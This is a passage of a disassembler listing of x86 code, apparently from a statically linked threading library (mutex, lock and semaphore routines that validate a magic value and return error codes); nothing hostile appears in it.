					; ___:004323B6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4324C0:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_432546
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_432546
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4324DC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4324DC:				; CODE XREF: ___:004324D4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_432546
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432524
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432502
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432502:				; CODE XREF: ___:004324FCj
		mov	eax, [esi+14h]
		inc	eax


loc_432506:				; DATA XREF: sub_584787+21FDo
		mov	[esi+14h], eax
		jnz	short loc_432519
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_432519:				; CODE XREF: ___:00432509j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43253C
; ---------------------------------------------------------------------------


loc_432524:				; CODE XREF: ___:004324EAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43253C:				; CODE XREF: ___:00432522j
		test	edi, edi
		jz	short loc_43254B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432546:				; CODE XREF: ___:004324C9j
					; ___:004324CFj ...
		mov	eax, 16h


loc_43254B:				; CODE XREF: ___:0043253Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432580:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43263A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43263A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4325B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4325B4
		cmp	eax, 10h
		jnz	loc_43263F


loc_4325B4:				; CODE XREF: ___:0043259Cj
					; ___:004325A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43263A
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_43263F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43262D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4325FD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325FD:				; CODE XREF: ___:004325ECj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43262D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43262D:				; CODE XREF: ___:004325DAj
					; ___:0043261Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43263A:				; CODE XREF: ___:00432589j
					; ___:00432593j ...
		mov	eax, 16h


loc_43263F:				; CODE XREF: ___:004325AEj
					; ___:004325CAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432690:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432771
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432771
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4326C4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4326C4
		cmp	eax, 10h
		jnz	loc_432776


loc_4326C4:				; CODE XREF: ___:004326ACj
					; ___:004326B9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432771
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432776
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432709
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432776
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432709:				; CODE XREF: ___:004326F4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432759
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432726
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432726:				; CODE XREF: ___:00432715j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432764
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_43274B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43274B:				; CODE XREF: ___:0043273Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43275E


loc_432759:				; CODE XREF: ___:0043270Ej
		mov	edi, 10h


loc_43275E:				; CODE XREF: ___:00432757j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432764:				; CODE XREF: ___:0043272Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432771:				; CODE XREF: ___:00432699j
					; ___:004326A3j ...
		mov	eax, 16h


loc_432776:				; CODE XREF: ___:004326BEj
					; ___:004326DEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4327C0:				; CODE XREF: ___:00401BF9j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_4327D7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_4327D7:				; CODE XREF: ___:004327CFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432800:				; CODE XREF: ___:00401E97j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432827
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_432827
		cmp	eax, 2
		jbe	short loc_432827
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432827:				; CODE XREF: ___:0043280Fj
					; ___:00432817j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432840:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432886
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_432886
		mov	esi, [edi]
		push	eax
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	short loc_432886
		push	0
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432886
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432886:				; CODE XREF: ___:00432852j
					; ___:0043285Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328B0:				; CODE XREF: ___:00401EDDj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_4328D5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_4328D5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4328D5:				; CODE XREF: ___:004328C0j
					; ___:004328C8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4328F0:				; CODE XREF: ___:004015B4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 2740897h
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 2740865h
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2780399h
		test	eax, eax
		jnz	short loc_432BE5
		call	near ptr 27B0896h
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 2740865h
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		call	near ptr 2780399h
		nop
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 27B0896h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 2821DA2h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	near ptr 27401E1h
		nop
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 283076Ch
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 2770384h
		nop
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h,	0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2770384h
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		call	near ptr 2740000h
		nop
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
